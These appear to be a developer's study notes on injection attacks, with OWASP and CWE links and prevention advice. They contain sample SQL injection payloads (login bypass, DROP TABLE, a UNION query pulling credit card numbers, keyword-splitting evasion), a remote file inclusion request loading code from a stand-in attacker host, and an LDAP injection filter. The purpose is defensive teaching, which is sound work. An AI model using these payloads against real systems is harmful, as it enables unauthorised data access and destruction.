https://dzone.com/articles/sql-injection-cheat-sheet-how-to-prevent-attacks
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
https://www.owasp.org/index.php/Query_Parameterization_Cheat_Sheet
https://www.owasp.org/index.php/Command_Injection
https://www.owasp.org/index.php/Testing_for_SQL_Injection_(OWASP-DV-005)
https://www.owasp.org/index.php/OWASP_Proactive_Controls#2:_Parameterize_Queries
https://www.owasp.org/index.php/ASVS_V5_Input_validation_and_output_encoding
https://www.owasp.org/index.php/Testing_for_Command_Injection_(OTG-INPVAL-013)
https://www.owasp.org/index.php/Injection_Prevention_Cheat_Sheet
https://www.owasp.org/index.php/Injection_Prevention_Cheat_Sheet_in_Java
https://www.owasp.org/index.php/OWASP_Automated_Threats_to_Web_Applications
https://cwe.mitre.org/data/definitions/77.html
https://cwe.mitre.org/data/definitions/89.html
https://cwe.mitre.org/data/definitions/564.html
https://cwe.mitre.org/data/definitions/917.html
https://security.stackexchange.com/questions/203843/is-it-possible-to-detect-100-of-sqli-with-a-simple-regex
https://www.exploit-db.com/papers/17934
https://stackoverflow.com/questions/1732348/regex-match-open-tags-except-xhtml-self-contained-tags
https://www.programmersought.com/article/8511295891/ - Not sure if the regex here cover everything
https://chawdamrunal.medium.com/sql-injection-a400c8fe82f
https://bit.ly/3lEEKiG
https://larrysteinle.com/2011/02/20/use-regular-expressions-to-detect-sql-code-injection/
sel/**/ect
EXEC('SEL' + 'ECT 1')
Robert'); DROP TABLE Students;--
http://www.example.com/GetItemPrice?ItemPrice?ItemNumber=0' UNION SELECT CreditCardNumber FROM Customers WHERE ‘1’=’1
select* (notice no space between select and *)
'OR 1=1 --
// Security - Injections (SQL injection and other injection vulnerabilities):
Types of Injection:
1. SQL Injection
2. LDAP
3. Xpath
4. OS Commands
5. XML parsers
6. SMTP Headers
7. Program arguments
Consider the following query:
Select * from user where username = ‘un_input’ and password = ‘pw_input’
where un_input and pw_input are user inputs, and no modifications are made
before passing to the SQL query. An enterprising attacker might enter a
username of “ admin’– ” which results in this query:
Select * from user where username = ‘admin’--’ and password = ‘pw_input’
In SQL, “--” denotes a comment, causing the application to ignore the rest of the
query and only execute the first part. Since this query will be true as long as
the admin exists, a user could bypass the password check and login this way.
To determine if a field is vulnerable to SQL injection attack, modify the input
for that field to include something like ' limit 1' and see if it produce the expected
result. If it does produce the expected result, the field is vulnerable to SQL
injection attacks.
The ' limit 1' approach may or may not always be a good test for SQL injection
vulnerability, but it has no harmful side effect. Other things that we may want
to try is using quotes, percent sign, and --. If these characters lead to error,
it is likely that this field is vulnerable to SQL injection attack (particularly if
the result SQL statement is displayed on the screen as part of the error or
exception message).
Common payload for SQL inject attacks:
something ' limit 1'
something %' and Performance_rating < 2 and name like '%
5 or 1=1;
5; DROP TABLE GRADES;
SQL injection is not just about querying for data. It can also be used to CREATE,
INSERT, DELETE, and DROP data from your database. So, SQL injection flaws
can be extremely serious. A single flaw anywhere may allow attacker to read,
modify, or delete our entire database.
To avoid injection attacks, use parameter binding if available. If not, we need
to carefully escape special characters using the specific escape syntax for that
interpreter. OWASP ESAPI provides many of these escaping routines:
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/
Encoder.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/
Validator.html
Command injection attacks are possible largely due to insufficient input validation.
To prevent command injection, search the source code for all calls to external
resources (e.g., system, exec, fork, Runtime.exec, etc), and make sure that you
validate the data, remove dangerous characters, etc.
On the Unix platform, the semicolon character is typically used to chain commands
in order to perform a command injection attack.
Always use absolute path, and avoid being dependent on the PATH environment
variable, because the attacker can alter the PATH environment variable.
Code Injection is the general term for attack types which consist of injecting
code that is then interpreted/executed by the application. This type of attack
exploits poor handling of untrusted data. These types of attacks are usually
made possible due to a lack of proper input/output data validation, for example:
1. allowed characters (standard regular expressions classes or custom)
2. data format
3. amount of expected data
Code Injection differs from Command Injection in that an attacker is only
limited by the functionality of the injected language itself. If an attacker is
able to inject PHP code into an application and have it executed, he is only
limited by what PHP is capable of. Command injection consists of leveraging
existing code to execute commands, usually within the context of a shell.
For example, if an application passes a parameter sent via a GET request to the
PHP include() function with no input validation, the attacker may try to execute
code other than what the developer had in mind.
The URL below passes a page name to the include() function:
http://testsite.com/index.php?page=contact.php
The file "evilcode.php" may contain, for example, the phpinfo() function which
is useful for gaining information about the configuration of the environment
in which the web service runs. An attacker can ask the application to execute
his PHP code using the following request:
http://testsite.com/?page=http://evilsite.com/evilcode.php
Avoid using eval with untrusted data.
// LDAP Injection
String ldapSearchQuery = "(cn=" + $userName + ")";
If the variable $userName is not validated, it could be possible accomplish
LDAP injection, as follows:
1. If a user puts “*” on box search, the system may return all the usernames on
the LDAP base
2. If a user puts “jonys) (| (password = * ) )”, it will generate the code below
revealing jonys’ password ( cn = jonys ) ( | (password = * ) )
injection = input validation (to prevent injection problems, do input validation).
// Security - Injection - Prevention:
1. Use parameter binding
2. Whitelisting